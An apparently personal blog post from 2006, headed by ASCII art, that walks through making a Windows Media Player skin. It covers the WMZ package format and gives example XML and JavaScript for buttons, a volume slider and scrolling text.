""IIHHI"II""M#M:.'. ...II"MHMHI###'..' . .'':I'"M#MI:"###MIII"::'''''':""II":..:"::::"""::
IIHMMMH""::H#M:..I' .: :###II"M#" ." .::'''IM#MI:M###MI"""''''...:""""":'':"::'::::::
IIIMMMH""'"MM:..H#. 'H': HM"IHMI:"#. :."' 'M#'.:"HM#I:M#MM#M"":::::''.'::""":'':"":'::::::
I"IHHHI":'IM:.."##. 'I'': "I:"M##H::#" .M::M .:##H'''"IMH:IMHHMHII"::'''.'.::""":'':"":'::::::
""""I"::':H:.':M##. :"I.: I#:I"#MMH"I#H .MM"M "###".'::MM"'IHMH"I::::':'''.'':::''':":':':':::
":""""'.'"".'"'M#MI##"M:: '#IHMMMH"MH"##'.HMII'"I:.I####'':'H#H'"I#####H:':':'''.'.''...':'''::::::
"""::'.':I".M'.M#HI###MM'.:HIM#M"I:"#IMM".:MMM####"####I'':'"#M':"HM####MI:'''''''... . '''.'':::::
"":::'.::H':#:."#I'IMMM#":IIMH""II""II#MM"IM#MH"::"###M::'::'MM"':""""IM###"''''.'.':.. ..'.''::"::
"I"":..'"M'I#'.H#HIIHIHI"'IMII"I""I""IM#MMMMHII'''I##H:HH:::"M#":'"I""":H###I:'''''.'..:'....'::":"
""":'...IM'M#:'M#######M#''MHII""IIIIH#MMHMMHM##MM###":###"""M#::'':"""::I###"':'''''.. ':.. ''':':
":::'..'MM'M#"'M#M#M##HM#'.IHI"""IIIIIMI::###########I'M##M""M#::'':I":":"M##M:'''':''":. .'. .''':
:::'' .'H#:M#:'MMM#::#MMM' "IHI"II"IIHM: :###M##HM#H#":"###""##":"::III::"H###M::'::'::HI. .:'..:::
::'''..'H#:##:::"MIM:M###'.:""""II"I"IH' M######'MMMMM:H###::##"::::II""::I####:::::':::HH: '"'.'::
::''' .'HM"M#I":MM"M#":H#":":"""IIII""H".######:HHIMMH""###I"M#:''':"I""""I#M##I::::::"""HM' 'I'':"
::'''..'I#:M#:'"##HMM#:'##H"II"IIH"IIIIIM###"IH#HI###I":###II##:':':"IHII"HMM##M""":::"I":I"..H''::
:''''.'':#"M#::.##MMHH."#MIIII""HI""IIIHM##' M#I"I###II"H##HI##":'':"II"I"I#MH##H":::"":":'"'.I".':
:'''..'':#:I#:: M#I:"":#MIIIHI""I"""IIIIH##''IH"I###H:HIM##"H##I":':"IH"""IM#M##MI"::"":::'::.II'.'
'''...'':#"I#:: .HH:":IMHHIIMH""""""""IMMHMI'"HI###H''""I##"I##M"":':IHHI"I##M###I"""IH"::'':.:H..'
'''.....:MI'M':. .:'":"HI"I"IHII"II":"HMMIMI":"H##"'.:H"M##"M##H:::':HHHIII##M##M"""IIHI:"".:.:H'.'
'''...''"M#'M"..''''':III"I"II"HIII"""IMH"HH"":"":'..'""H#M:M###":I":IMIIIM######""IIMIH":"''.'M'..
:'''.'::"M#'HI .MM:''"IIH""""I":II""I"IIM"II"""I:'''''""M#I'###HIIHM"IHIIM######H"IHHH"IH:::'.'H".'
::''.''""M#::#..HM:''III":I"I"III"HIHII"I""I""I"'.'..'':M#I'###MIM#M"IIHIH######M"IHMM""H"::.''""''
::''''':"I#:.MH''.::I""""""""IIHHIIIII"HMH"IM:"HI:''''':M#:'###H"##M:"HIH#######I"HM##I:I":I'''"":"
'''''.:II"M".:##: '""""IIH""""IIHHIIII"HMH:"II:IM#"IMI"H#H''###MIM#I:IHIIH######""HMM#M:I"'H''.:"::
:::'''"HIH"I''##"''":""HH""""IHIHIIIIMIMMI""II:"I########"'"###IIMM""HHII######IIIMM#MM""":H:..:H:"
:::'''.:"""M"'#M.."H"::II"""IHMMMMMHHHIMMI""IHH::I#######H'"##MI"MM""IIIH######IHIMM#I#:"":H"'.:H""
::::...."#MMI"##.."I"::""IHMMMM##MMMMIIHI"""IIM":IMIH####I"M#MIH:"H""HIH######I"HM##MIMI:"'H"'''I:"
"""....."####:M#:.:I":::"HHHMM#MMMHMMHII"I::"IH#:IH"IH###MI##HHMI"IHIHMM######""H##MMHMH:":II.''I::
H"'... .HM###H"##'"I""I":"MHHMMMHHMHII"II":""IIMM""""####IM##MMMH""HMH#######IIIHMMMMIHI"I:HI':'I""
I:.... '"IH###"H#IIIHI"I"IMMMM#HM##MH"MMII":"IIH#I"IIM###HM#####H""HMM#######MIIHMMH#IHHIH:I"::'"II
:'. ...."::###M:HMHHM"'MM::IH###MHII#M#MIHH"HMHH#I"HM###MH######I"II########MI""#MHM#IHIIH"I"::'HHI
"'... .'"':H###"':MI"I:"###I"IMIIIHM###""MIM##HIMMHIM###M######MHIII########M""MMHMM#IHHII"HI:":MI"
:'.''''"M"::IMM#H:M#MM"'I###MHMHM#####I"HHIIIMH"MHH###MH######MMHIH########M"IMMIH##MIMIHIIMI"I"H""
::'':''"H:'':HHMHI'M##M:.:####MM######'"HM#MM##""H###MM#######MIIM#########IIM#IIM#M#HMHH"H#HHHHM""
I":''''':I::"IIIH#'."I""' '##MM#####I.:M###M#I""I###MM#######HIII########MIH#MIIMM##MMMHMHM#M#MMH:"
IHII":'':II":""":HI":II"' :#######'..:I"HH::''IMMMMM########"IMM#######MHM#MIIHM###M#MMMM##M#M#":"
II"":::':II:.""''IH###MI". :M##M:.. :::M##"IMM###M########MMHII######MH#M#MHIHH###M#M##M######M:":
"":'''..:":.."":"I"H#M#MM:'.''##'.'''HMM#####MMMM##M#######HHM##H######M##I"IIHMMMM##M#########H::"
"''.'..'::'..:"":::M":::'''::'HH:::':IH#####MH###MM######IIMH########M##HII"IIIMHIHM#########MMH:":
":''....'":..::""':M#H":':::::MH::::'.'::IM###H###MMHH###MMMHM####MM##MMII"IIIMMHIIM#######MMMMI:::
:::'.'...::':::"":''IIHI":::"H##H:::H:MMMM##MM#M###MHIH##############MHHIII"HMMHI"IM####M#MMMMMH:::
":'''''''.':H::'':''"IHMI"""M####M""""HHM####HM#HII#MI"M############HHHHIIIHM#HHIIIM###MM#M#MMMH::"
::"::::'''"IM"''':""'IM##MIM#######H"I#MHM#M#I:M#IH"M##"##########MMMHHHHIM#MHIIIHIM#MM#M##MMMHM":"
"::::''.::III::::I""HIM##############M##H#MH#M:IMMIHIM##I#########MHHHMM###MHII"IHHM####MM#MM#HMH""
"":::':':::':::'HIIIMH#M###M#HIMMM######MH#MH#H:MMMMHH###########MMMM####MII"IIIHHMMM##M#M##MMMMH""
""::'::":''':::IHII"MM#M#MIMMHIMHMM#MM##HH##HM#:I#M#MMM############M#####MHIIHMMMMM##M#MMMMMHMHIHII
""":::""::':""IMIIII#MM#M:II"HIH"HHMMMHIMH##MM#IHH##M#M############M######MMMHHHHMHH##MMMIHH""":II"
::::":""":::"IHHIIIIMM##MIIMHMHIHMM#HIMHMM####MHMM##MM#############MMMMM#M##MMMHHIIMMMHHHIII""::I""
"""::::""::::IIH"IIIMMMM#HMMM#MMM#M#MMMM###M#M#MMMM#M##########M##M#MMMMMHMH#MMHIIHMMHHIHIIH":":H"I
III"::::::'::I""III"MMM###MMMMM#M#M######M##M##HM##M#H##H###########M#MMHHHIIHMHIIHMMHHIII:H":'"I:I
""":":::"":::I"""""IIM#######MH#MM#######M##HM#I#MM#MMHM##########MM#MHHIIIIIIHHIIMMHIHIII:I":'"":"
"":'""":"::':H"""""IIM#######M##M#######M###M#IM###HMMM#MMH######MMMM#MMHIIIIIHMMMM#MIH"I""H:':""""
""""":""":::"II"HI:IH###############M####M###MI####MMM#MHHMMMM##M##MHMMMMMIIIHHMMM#MMIHII""H:':I"""
III"::::::::"IHIIMMMMMM#MHHM#######MMM#MM#M##MI#MMM###HHM#MMMMMIM###MMMHHMMMHIHHM#MM#IHI"I"I:':I:""
III"::::'':"IHHHMMM#M#MHHHIHM####HIHHHM#M###MM#MH###MHM###MMMMHMM######MHMMMMHHHM#M#MHMIII"I:::I:"I
III"":::'::IIMMHM#M#HII"IIIHIH#MIIHI""HHMM#M#M#MMMMMM#####MMMMMMMM######MMMMMMHMHMMMMMM"HII"::II"I"
II"":::::"""IM#MMMMMI""":""HIIMHIIM":""MMM##MM#MMH#MMM#MM###MMMHMMM########MHIMMMMMMMMHIHI""::M""""
I":::::::"IIHM#MMMMMMMII"""HII#HIHIII"IMMM#M#MM#MMMMM#######MMMMMM#########MHHHMMMMM#MMIMI""::MIIII
"":":::""IHM#MMHIIIHMMMMI::""H#M"""""IHM#M##M#M#M#MMMMM#####MMMMMMM########MHHMMMMMMMMHHMI""":M"III
I""::::"IIHMM#MHIIHIH#MMI:'""M##I:":"MHM##MHMMMHMMM###MM######M#MMMM########MHMMM#M#M#HMHI"":"I"II"
""::::'"IMMM#MHHIHIIMMMM"':IH###MI"::MIMM##HHIIHMH#####MM######MMMHMM#######MMMMMM##MMHHIHI::":""II
I"III:"IM#M#MHM#HIMMMMMIHHM########MMIIM#MMMMMMHMMMM####M######M#HHM#M#######MMMM##M#MMHHHI::::"III
IIIIH"IHHHMMHM#M"IMMMHHM####MMMM######MMM#MM###M#MMHM###MH###M#MMMMHHMMM######MMMM#M#HHIII":"::IIII
IIIHI"HHHIHMIH#H:IMMMMH##M#HMMMMM######MMMM##MM#MHMMM####M###MM#HMMHMMMMM######MHMM##HIIIIII""IIHII
IIII""HHHHHH"M#I:IHMMHHMMHHHMM#MMM#####HMM#M##MM#MMHM###MH####M#MHMMM#MM#######MMM#M#MII"II""""IHII
HHHH""HHHMMH"M#I:IHMHHI#MHHHHMMMMHMM###HMMMMMMM#MMMHM####MM##M##HMMMMMMM#######HMMM##HHIII"":::IHII
IIHH""HMMHMM"H#M:IMMMHI#MMMHMMMMMHMM###MMMMHMMMMMMMHH####MMM##MMMM#HHM#MM#######MM#M#MHIIIII":"IHII
MHHHI"HHHMMH"M#H"IHMHHHMHMMMMM#MMMMMM##HMMHHHMM#MMMMM####HHM##MMM#MMHMMM#M######MMMMMMMIIHHIIIIIHHI
MMMMIIIHH#M:I#HI":HHHIHHHMMMM#MMMMMMMMMMMHHHMMMHMM###M###HIM###MM##MMM#MM########HHMMMHHIHIIIIHHIHH
#MMMI"IHM#H"#H:"""IHIHHMMHMMMMM#M#MMMMMMMMHMMMMMMMMMHHHH#MIM###M#M#MMM#MMM######MMHHMMMHIIIIIHHIHHH
M#MMI""IM#I"#":"IIIHIHMMMHIMMM#MMMMMMMMM#MMMMHMMHIIIIIHH##HM###MMMMHMMMMMH##M##MMHHHHMMMMHHIHHHMMMM
MMMMH""IMMIMM"""HH"IIHHHHHHHHMMMMMMMMMMMMMMMMMMMHIII"HMM##MM###MMHHHMMMMMM#####HHHHIHHMMMHHHHHHMMMM
MMMMII"IM#IMMI""IIIIIHHHHHHHHMMMMMMMMMM#MMMMMMMMHII"IMMM##MH###MMHHHM#MMMMM###MHHHHHHHMMMMMHHHHMMMM
HHHHI"IIHMHIMI""IIIIIHHHHHHHHMMMMMMMMMMMMMMMMMMMHIIIIHMM##MM###MMHHHMMMMMM####MHHHHIIHMMMMMHHHHMMMM
HHHHI""IM#IHM"""IIIIHHHHHHHHHMMMMMMMMMH#MMMMMMMHII"IIMMM##MM###MMMHHMMMMMM#####MHHHHHHMMHMMHHHHHMMM
HMMM"""HMMH#MI""MMIHHHHMHHHHHMMMMMMHMHMMMMMMMHMMMMHIIMMM##MM###HHHHHMMMMMM##M##HMHHHHHHHHHMHMHHHMHH


Howz it?

Friday, December 1, 2006

How to make Windows Media Player Skins

What is a WMP skin?
WMP or Windows Media Player Skin is a way of customizing how the media player looks. Basically a wmp skin is a .wmz file found on "X:\Program Files\Windows Media Player\Skins\" folder (Replace X with your drive letter). Here we shall atempt to create a simple skin, from which you can create more advanced skins.


WMZ File Format
WMP Skins consists of a collection of files zipped together. So it means, the WMZ file on your computer is actually a .ZIP file. Inorder to decompress the file and view the content files, rename the .WMZ file to .ZIP and use a unzipping utility such as WinZIP or WinRAR to extract the containing files.
Take for example the Classic.wmz file, renaming and extracting gives us the following files:


classic.wms classic.js back_disabled.bmp back_down.bmp
back_hover.bmp back_up.bmp currentpos_background.bmp currentpos_thumb.bmp
divider.bmp ffw_disabled.bmp ffw_down.bmp ffw_hover.bmp
ffw_up.bmp forward_disabled.bmp forward_down.bmp forward_hover.bmp
forward_up.bmp icon_stereo.bmp icon_wmlogo.bmp intro_disabled.bmp
mute_down.bmp mute_hover.bmp mute_up.bmp next_disabled.bmp
next_down.bmp next_hover.bmp next_up.bmp pause_disabled.bmp
pause_down.bmp pause_hover.bmp pause_up.bmp play_disabled.bmp
play_down.bmp play_hover.bmp play_up.bmp prev_disabled.bmp
prev_down.bmp prev_hover.bmp prev_up.bmp rw_disabled.bmp
rw_down.bmp rw_hover.bmp rw_up.bmp stop_disabled.bmp
stop_down.bmp stop_hover.bmp stop_up.bmp toggle_down.bmp
toggle_hover.bmp toggle_up.bmp volume_background.bmp volume_thumb.bmp

The main file in this collection is the "Classic.wms" file. It is just an XML file and can be edited or created with any text editing software.


Can't see the WMZ extension?

Goto folder options and uncheck "Hide Extensions of known Type"

Click here to Download the sample skin file made in the following section.



Starting with your own skin ...

  • Make a folder in the ":\Program Files\Windows Media Player\Skins\", with a suitable name, as in my case "digitalpbk".
  • Next inside the folder make a new file, with the name and extension ".wms" , (digitalpbk.wms).
  • Paste the following code with suitable substitutions
    Show/Hide Code

    <theme
    title="DigitalPbk"
    author="Arun P"
    copyright="(c)2006 http://digitalpbk.blogspot.com . All rights reserved."
    version="1.0"
    >
    <view>
    </view>
    </theme>

  • Save the file.





    Now we have made a base for our skin. Check out if you have done it right, by taking the WMP Skin chooser. Look for the skin with the name you have given (digitalpbk), and click it. Depending on the version of WMP you are using you will see a white rectangle. The Picture here shows the skin on Windows Media Player 11.



  • Next we can start making the actual theme. Modify the view node to accomodate the following :
    Show/Hide Code

    <view id="mview"
    left="0" top="0" width="600" height="267"
    resizable="false"
    minWidth="600" minHeight="267"
    titlebar="false"
    title="Digitalpbk"
    scriptFile="digitalpbk.js"
    onload="init()"
    backgroundColor="none"
    >

    Make a new js file under the folder (Skins\digitalpbk\). For eg: digitalpbk.js. This will be our primary script file. As you can see it is very much similar to a HTML,

    id represents the name or identifier of the tag (node)

    left, top, width, and height give the dimensions

    minWidth and minHeight restricts the minimum possible size of the Skin (not used on resizable="false") just given for illustrative purpose.

    resizable="false" specifies that our skin cannot be resized,giving false makes it remains in the specified dimensions.

    titleBar="false" hides the title bar (The one on top with the Close, Maximize, And Minimize buttons).

    scriptFile represents our javascript file which handles the programming part of the skin.

    onload and onresize are events which are triggered when the window is loaded or resized respectively. Please note that the onresize event is not called in case the skin is not resizable.

    backgroundColor="none" specifies that the skin is transparent in areas where nothing is there. Alternatively you can specify a color to fill those areas, but transparency is cooler.

    At this point if you apply the skin you wont be able to see anything! In case you applied the skin and want to return to the full mode, press Ctrl + 1 to return to full mode.


  • Regions in the Main View are divided into various Sub Views. Now we are into the actual making of the user interface, the buttons, the sliders etc.
    First we place a base for the control view, with a suitable background. The following code comes under the View node. (<view></view>)

    <subview backgroundImage="main_bg.png" transparencyColor="#ff00ff" >
    </subview>

    You can generally use any background image of formats bmp,png,gif etc. I have used a png file with a car as base. When making the picture portions you want to be left transparent must be filled with a particular colour (#FF00FF commonly used). This colour is specified in the transparencyColor attribure.
    Now the product looks somewhat like this:



  • Next we place buttons for minimizing, closing and return to full mode. Let us place them somewhere in the bottom center. (Inside the subview node)
    Show/Hide Code

    <buttongroup id="mainfx" left="120" top="240"
    image="mfx_norm.gif" hoverImage="mfx_over.gif"
    downImage="mfx_over.gif" mappingImage="mfx_map.gif"
    transparencyColor="#ff00ff" >
    <buttonelement mappingColor="#0000ff" onClick="view.minimize()" upToolTip="Minmize" cursor="hand"/>
    <buttonelement mappingColor="#0080ff" onClick="view.returnToMediaCenter()" upToolTip="Return To Full Mode" cursor="hand"/>
    <buttonelement mappingColor="#00ffff" onClick="view.close()" upToolTip="Close" cursor="hand"/>
    </buttongroup>

    This code places three buttons with hover effects.

    image attribute specifies the normal image file

    hoverImage specified the hover image file

    mappingImage provides the map of the buttons so that the program knows to differentiate the three buttons.



    Normal Image :
    Hover Image :
    Mapping Image :

    The mapping color specified in the buttonelement tag is the colour given on the mapping image. Thus three buttons with hover effects are ready.
    The onclickevents does the functions specified and can be easily understood. cursor="hand" specifies the cursor type when over the buttons.

  • Similarly we will place buttons Play, Pause, Stop, Next Previous etc.
    Show/Hide Code

    <buttongroup id="pps" left="128" top="15" image="pps_norm.png"
    hoverImage="pps_over.png" downImage="pps_over.png" mappingImage="pps_map.png"
    transparencyColor="#ff00ff" >
    <buttonelement mappingColor="#8080FF" onClick="player.controls.stop()"
    upToolTip="Stop" cursor="hand"/>
    <buttonelement mappingColor="#8000FF" onClick="player.controls.pause()"
    upToolTip="Pause" cursor="hand"/>
    <buttonelement mappingColor="#0000FF" onClick="player.controls.play()"
    upToolTip="Play" cursor="hand"/>
    </buttongroup>
    Normal Image :
    Hover Image :
    Mapping Image :
  • Next we add a volume slider bar.
    Show/Hide Code

    <customSlider id="volume" left="520" top="70"
    min="0" max="100" borderSize="0" image="vol.png"
    positionImage="vol_pos.png" enabled="true"
    value="wmpprop:player.settings.volume"
    value_onchange="wmpprop:player.settings.volume = value;updateVolToolTip('volume');player.settings.mute = false;"
    cursor="hand"
    toolTip="Volume" onMouseUp="toolTip='Volume'" transparencyColor="#ff00ff" />
    NormalImage is a series of images for each position of the volume.

    positionImage is map of grayscale gradient representing a series of buttons indicating volume levels.

    Value indicates the volume value and initialized to the volume. When changed, the volume is updated. updateVolToolTip is a javascript function which updates the volume tooltip and its code is pasted in the "digitalpbk.js" which is as follows:

    function updateVolToolTip(id){
    vol = "";
    vol += player.settings.volume;
    eval(id + ".toolTip = vol" );
    }

    Normal Image :
    Position Image :

  • Next let us learn how to add dynamic and scrolling text.

  • Show/Hide Code

    <text id="time" left="250" top="210" width="100" fontSize="9" scrolling="false" fontSmoothing="true" foregroundColor="#888888"
    fontStyle="bold" justification="center" value="wmpprop:player.controls.currentPositionString" fontFace="arial narrow,arial,tahoma,verdana" />
    <text id="abt" left="190" top="210" width="75" fontSize="9" scrolling="true" scrollingAmount="2" scrollingDelay="10" fontSmoothing="true" foregroundColor="#888888"
    fontStyle="bold" justification="center" value="A Skin by ArunP, Click on the car's logo to visit http://digitalpbk.blogspot.com to find out how you too can make cool skins like this, easily." fontFace="arial narrow,arial,tahoma,verdana" />

    The first one displays the position in seconds of the media.
    The second one displays a scrolling text.
    Similarly you can add dynamic text that displays the Media Name, Bitrate, Volume, and other effects, and add your own custom text.
  • Finally adding a link in the skin to our site:

  • Show/Hide Code

    <button left="145" top="161" image="logo.png"
    hoverImage="logo_over.png" downImage="logo.png"
    onClick="jscript:player.launchURL('http://digitalpbk.blogspot.com/')"
    upToolTip="Visit blog" cursor="hand" />

  • Similarly you can add a custom slide bar for navigation, add buttons to provide for next and previous etc.


  • More tags and javascript functions and other exciting effects like playing sound can be achieved using skins. You can find out these tricks by just going through the source of various skin files. (The way to rip the .WMZ file has already been discussed above).


  • Finally inorder to package your skin, ZIP all the files using WinZIP/WinRAR or any other compressing utility. Note that you should zip all the files and NOT the folder. Rename the ZIP to WMZ, and your all set.





Click here to Download the skin file we just made (if you already haven't done so).



Winding up

Hope this section was interesting and helpful, any comments, suggestions or info? Please feel free to comment...